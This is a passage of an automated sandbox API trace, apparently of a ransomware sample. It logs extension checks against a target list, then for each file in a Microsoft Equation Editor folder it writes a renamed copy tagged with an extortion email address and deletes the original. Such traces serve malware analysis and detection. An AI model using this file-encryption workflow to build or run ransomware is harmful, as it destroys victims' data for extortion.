(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.899] lstrlenW (lpString=".1cd") returned 4 [0060.899] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0060.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.899] lstrlenW (lpString=".jpg") returned 4 [0060.899] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0060.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.899] lstrlenW (lpString=".doc") returned 4 [0060.899] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0060.899] lstrlenW (lpString=".docx") returned 5 [0060.899] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0060.899] lstrlenW (lpString=".pdf") returned 4 [0060.899] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0060.899] lstrlenW (lpString=".xls") returned 4 [0060.899] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0060.899] lstrlenW (lpString=".xlsx") returned 5 [0060.899] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0060.899] lstrlenW (lpString=".ppt") returned 4 [0060.899] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0060.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.899] lstrlenW (lpString=".zip") returned 4 [0060.899] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0060.899] lstrlenW (lpString=".rar") returned 4 [0060.900] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0060.900] lstrlenW (lpString=".bz2") returned 4 [0060.900] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0060.900] lstrlenW (lpString=".7z") returned 3 [0060.900] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0060.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.900] lstrlenW (lpString=".dbf") returned 4 [0060.900] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0060.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.900] lstrlenW (lpString=".1cd") returned 4 [0060.900] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0060.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.900] lstrlenW (lpString=".jpg") returned 4 [0060.900] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0060.900] lstrcmpiW (lpString1=".manifest", lpString2=".wiki") returned -1 [0060.900] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0060.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.900] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=566) returned 1 [0060.900] CloseHandle (hObject=0x224) returned 1 [0060.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0060.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.901] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.901] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.901] GetLastError () returned 0x0 [0060.901] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x236, lpOverlapped=0x0) returned 1 [0060.902] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x240, lpOverlapped=0x0) returned 1 [0060.904] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.904] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0060.904] SetEndOfFile (hFile=0x21c) returned 1 [0060.904] CloseHandle (hObject=0x21c) returned 1 [0060.904] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.904] SetEndOfFile (hFile=0x224) returned 1 [0060.905] CloseHandle (hObject=0x224) returned 1 [0060.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.905] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0060.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.905] lstrlenW (lpString=".doc") returned 4 [0060.905] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0060.905] lstrlenW (lpString=".docx") returned 5 [0060.905] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0060.905] lstrlenW (lpString=".pdf") returned 4 [0060.906] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString=".xls") returned 4 [0060.906] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString=".xlsx") returned 5 [0060.906] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0060.906] lstrlenW (lpString=".ppt") returned 4 [0060.906] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.906] lstrlenW (lpString=".zip") returned 4 [0060.906] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString=".rar") returned 4 [0060.906] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString=".bz2") returned 4 [0060.906] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString=".7z") returned 3 [0060.906] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0060.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.906] lstrlenW (lpString=".dbf") returned 4 [0060.906] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.906] lstrlenW (lpString=".1cd") returned 4 [0060.906] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.906] lstrlenW (lpString=".jpg") returned 4 [0060.906] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.906] lstrlenW (lpString=".doc") returned 4 [0060.906] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString=".docx") returned 5 [0060.906] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0060.906] lstrlenW (lpString=".pdf") returned 4 [0060.906] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0060.906] lstrlenW (lpString=".xls") returned 4 [0060.906] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0060.907] lstrlenW (lpString=".xlsx") returned 5 [0060.907] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0060.907] lstrlenW (lpString=".ppt") returned 4 [0060.907] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0060.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.907] lstrlenW (lpString=".zip") returned 4 [0060.907] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0060.907] lstrlenW (lpString=".rar") returned 4 [0060.907] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0060.907] lstrlenW (lpString=".bz2") returned 4 [0060.907] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0060.907] lstrlenW (lpString=".7z") returned 3 [0060.907] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0060.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.907] lstrlenW (lpString=".dbf") returned 4 [0060.907] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0060.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.907] lstrlenW (lpString=".1cd") returned 4 [0060.907] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0060.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0060.907] lstrlenW (lpString=".jpg") returned 4 [0060.907] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0060.907] lstrcmpiW (lpString1=".HLP", lpString2=".wiki") returned -1 [0060.907] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0060.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.908] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=176311) returned 1 [0060.908] CloseHandle (hObject=0x224) returned 1 [0060.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0060.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.908] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.908] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.909] GetLastError () returned 0x0 [0060.909] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0061.021] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0061.024] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.024] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.024] SetEndOfFile (hFile=0x21c) returned 1 [0061.024] CloseHandle (hObject=0x21c) returned 1 [0061.024] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.024] SetEndOfFile (hFile=0x224) returned 1 [0061.026] CloseHandle (hObject=0x224) returned 1 [0061.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.026] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0061.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.027] lstrlenW (lpString=".doc") returned 4 [0061.027] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0061.027] lstrlenW (lpString=".docx") returned 5 [0061.027] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0061.027] lstrlenW (lpString=".pdf") returned 4 [0061.027] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0061.027] lstrlenW (lpString=".xls") returned 4 [0061.027] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0061.027] lstrlenW (lpString=".xlsx") returned 5 [0061.027] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0061.027] lstrlenW (lpString=".ppt") returned 4 [0061.027] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.027] lstrlenW (lpString=".zip") returned 4 [0061.027] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0061.027] lstrlenW (lpString=".rar") returned 4 [0061.027] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0061.027] lstrlenW (lpString=".bz2") returned 4 [0061.027] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0061.027] lstrlenW (lpString=".7z") returned 3 [0061.027] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.027] lstrlenW (lpString=".dbf") returned 4 [0061.027] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.027] lstrlenW (lpString=".1cd") returned 4 [0061.027] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.027] lstrlenW (lpString=".jpg") returned 4 [0061.027] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.027] lstrlenW (lpString=".doc") returned 4 [0061.027] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0061.028] lstrlenW (lpString=".docx") returned 5 [0061.028] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0061.028] lstrlenW (lpString=".pdf") returned 4 [0061.028] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0061.028] lstrlenW (lpString=".xls") returned 4 [0061.028] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0061.028] lstrlenW (lpString=".xlsx") returned 5 [0061.028] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0061.028] lstrlenW (lpString=".ppt") returned 4 [0061.028] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0061.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.028] lstrlenW (lpString=".zip") returned 4 [0061.028] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0061.028] lstrlenW (lpString=".rar") returned 4 [0061.028] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0061.028] lstrlenW (lpString=".bz2") returned 4 [0061.028] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0061.028] lstrlenW (lpString=".7z") returned 3 [0061.028] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0061.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.028] lstrlenW (lpString=".dbf") returned 4 [0061.028] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0061.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.028] lstrlenW (lpString=".1cd") returned 4 [0061.028] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0061.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0061.028] lstrlenW (lpString=".jpg") returned 4 [0061.028] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0061.029] lstrcmpiW (lpString1=".TTF", lpString2=".wiki") returned -1 [0061.029] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0061.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0061.029] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7656) returned 1 [0061.029] CloseHandle (hObject=0x224) returned 1 [0061.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0061.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0061.029] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.030] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0061.030] GetLastError () returned 0x0 [0061.030] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x1de8, lpOverlapped=0x0) returned 1 [0061.049] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0061.050] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.050] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.050] SetEndOfFile (hFile=0x21c) returned 1 [0061.050] CloseHandle (hObject=0x21c) returned 1 [0061.050] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.051] SetEndOfFile (hFile=0x224) returned 1 [0061.051] CloseHandle (hObject=0x224) returned 1 [0061.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0061.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.052] lstrlenW (lpString=".doc") returned 4 [0061.052] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0061.052] lstrlenW (lpString=".docx") returned 5 [0061.052] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0061.052] lstrlenW (lpString=".pdf") returned 4 [0061.052] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0061.052] lstrlenW (lpString=".xls") returned 4 [0061.052] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0061.052] lstrlenW (lpString=".xlsx") returned 5 [0061.052] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0061.052] lstrlenW (lpString=".ppt") returned 4 [0061.052] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0061.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.052] lstrlenW (lpString=".zip") returned 4 [0061.052] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0061.052] lstrlenW (lpString=".rar") returned 4 [0061.052] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0061.052] lstrlenW (lpString=".bz2") returned 4 [0061.052] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0061.052] lstrlenW (lpString=".7z") returned 3 [0061.052] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0061.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.060] lstrlenW (lpString=".dbf") returned 4 [0061.060] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0061.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.060] lstrlenW (lpString=".1cd") returned 4 [0061.060] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0061.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.060] lstrlenW (lpString=".jpg") returned 4 [0061.060] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0061.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0061.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 